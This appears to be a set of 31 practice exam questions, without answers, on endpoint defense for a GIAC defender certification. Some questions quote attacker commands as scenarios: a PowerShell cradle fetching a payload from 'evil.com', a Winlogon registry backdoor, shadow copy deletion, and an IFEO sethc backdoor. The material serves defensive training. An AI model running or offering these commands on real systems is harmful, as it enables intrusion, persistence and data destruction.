Domain 5: Endpoint Defense (EDR, OS hardening, app whitelisting)

GIAC Certified Enterprise Defender · 31 questions

• An endpoint detection and response (EDR) tool alerts that a process named 'svchost.exe' is running from the path 'C:\Users\Public\svchost.exe' and is making outbound connections. Why is this suspicious?
• An organization wants to prevent users from running unauthorized executables on Windows workstations. Which Microsoft technology provides application whitelisting based on publisher certificate, file hash, and path rules?
• A security team wants to harden Windows endpoints by disabling unnecessary services. Which service is commonly exploited for lateral movement and should be disabled on workstations where it is not needed?
• An EDR solution reports that a PowerShell script has been executed using the -EncodedCommand flag with a base64-encoded payload. What defensive control most directly prevents this technique?
• Which Windows security feature creates a protected, isolated region of memory to prevent credential theft tools like Mimikatz from extracting NTLM hashes and Kerberos tickets from LSASS?
• An organization deploys an EDR solution across all endpoints. What critical EDR capability allows the security team to remotely investigate a potentially compromised endpoint without physically touching the machine?
• A security engineer is hardening a Linux server and wants to restrict which processes can bind to privileged ports (below 1024) without running as root. Which Linux capability allows this on a per-binary basis?
• A Windows system has been compromised. An attacker added a registry value under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options for 'sethc.exe' pointing to cmd.exe. What persistence and access technique does this implement?
• An organization deploys CIS Benchmarks for Windows 10 hardening. One control recommends setting 'Minimum password length' to 14 characters. An administrator argues this will cause user complaints. What is the security justification for this control?
• An EDR solution reports that a process (winword.exe) spawned a child process (cmd.exe) which then ran 'powershell.exe -nop -w hidden -enc <base64>'. What attack technique is most likely being executed?
• A security team wants to detect if any processes on Windows endpoints are injecting code into other processes. Which EDR telemetry event type most directly captures this activity?
• A Linux system administrator wants to implement mandatory access control (MAC) to enforce security policies on running processes, preventing privilege escalation even if a process is compromised. Which technology implements this?
• An organization wants to implement host-based intrusion detection on Windows servers. Which Windows logging capability, when enabled, provides visibility into command-line arguments used when processes are created?
• A security team discovers that attackers used 'mshta.exe' to execute malicious HTA (HTML Application) files hosted on an external server. Which application control measure most directly prevents this?
• A security administrator is reviewing patch management practices and finds that critical patches are taking an average of 45 days to deploy after release. A threat actor is known to exploit new vulnerabilities within 7 days of patch release. What risk does this gap create and what is the appropriate control?
• An organization deploys Windows Defender Application Control (WDAC) in audit mode. What does audit mode accomplish and why is it recommended before enforcement?
• A security engineer reviews a Windows system and finds that the built-in Administrator account (RID 500) is enabled and has no password set. What is the correct remediation?
• An EDR solution detects a process loading an unsigned DLL from the user's %TEMP% directory. The process is a legitimate Windows application. What attack technique does this indicate?
• An organization wants to reduce the risk from malicious macros in Microsoft Office documents received via email. Which defense is most effective for this specific threat?
• An organization wants to implement the principle of least privilege on Windows workstations. Currently, all users are local administrators. What is the primary security risk of this configuration and the recommended change?
• A security engineer is reviewing Windows Defender Exploit Guard settings. Which feature prevents untrusted DLLs from being loaded from UNC paths, protecting against DLL injection from network shares?
• An EDR tool detects that a process is using the Windows API call SetWindowsHookEx. What attack technique does this function commonly enable?
• A security administrator wants to ensure that users cannot disable or uninstall the corporate EDR agent. Which operating system feature enables this protection on Windows?
• An attacker uses the command reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v Userinit /d C:\Windows\system32\userinit.exe,C:\Users\Public\backdoor.exe. What persistence mechanism is being established?
• An organization implements endpoint detection with process command-line logging. An analyst sees the following: powershell.exe -w hidden -nop -c IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1'). What technique does this represent?
• A security administrator wants to harden macOS endpoints by preventing unsigned applications from running. Which macOS security feature enforces this policy?
• An EDR console shows that an endpoint ran vssadmin.exe delete shadows /all /quiet followed by starting a ransomware encryption process. What was the purpose of the vssadmin command?
• An organization wants to prevent lateral movement via Pass-the-Hash attacks on Windows. Which control most directly mitigates this attack at the endpoint level?
• A security administrator wants to configure Windows to log all PowerShell script block executions for forensic analysis. Which Group Policy setting enables this capability?
• An attacker uses the technique of 'reflective DLL injection' to load a malicious DLL into a process without touching the disk. What makes this technique particularly effective at evading traditional defenses?
• An organization deploys host-based firewalls on all Windows workstations. Which Windows Firewall with Advanced Security configuration best limits lateral movement?